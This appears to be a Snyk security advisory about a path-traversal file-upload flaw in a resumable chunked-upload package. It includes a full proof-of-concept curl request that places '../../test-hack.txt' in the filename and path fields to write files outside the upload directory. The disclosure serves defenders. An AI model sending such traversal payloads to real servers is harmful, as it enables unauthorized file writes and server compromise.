Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Unrestricted Upload of File with Dangerous Type vulnerabilities in an interactive lesson.
Start learningA fix was pushed into the master
branch but not yet published.
Affected versions of this package are vulnerable to Unrestricted Upload of File with Dangerous Type via specially crafted multipart/form-data
content. An attacker can upload arbitrary files to any location on the server by exploiting this vulnerability.
Note: It is not possible to overwrite files after version 0.1.4 because of #27
curl 'https://example.org/upload.php?resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrentChunkSize=80881&resumableTotalSize=80881&resumableType=&resumableIdentifier=80881-resumablejsmap&resumableFileCategory=default&resumableFilename=../test.txt&resumableRelativePath=../../test-hack.txt&resumableTotalChunks=1' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryBAX4owzrRwdmveis' \
--data-raw $'------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkSize"\r\n\r\n1048576\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableCurrentChunkSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableType"\r\n\r\n\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableIdentifier"\r\n\r\n80881-resumablejsmap\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFileCategory"\r\n\r\ndefault\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFilename"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableRelativePath"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="file"; filename="../../test-hack.txt"\r\nContent-Type: application/octet-stream\r\n\r\ntestok\r\n------WebKitFormBoundaryBAX4owzrRwdmveis--\r\n' \--compressed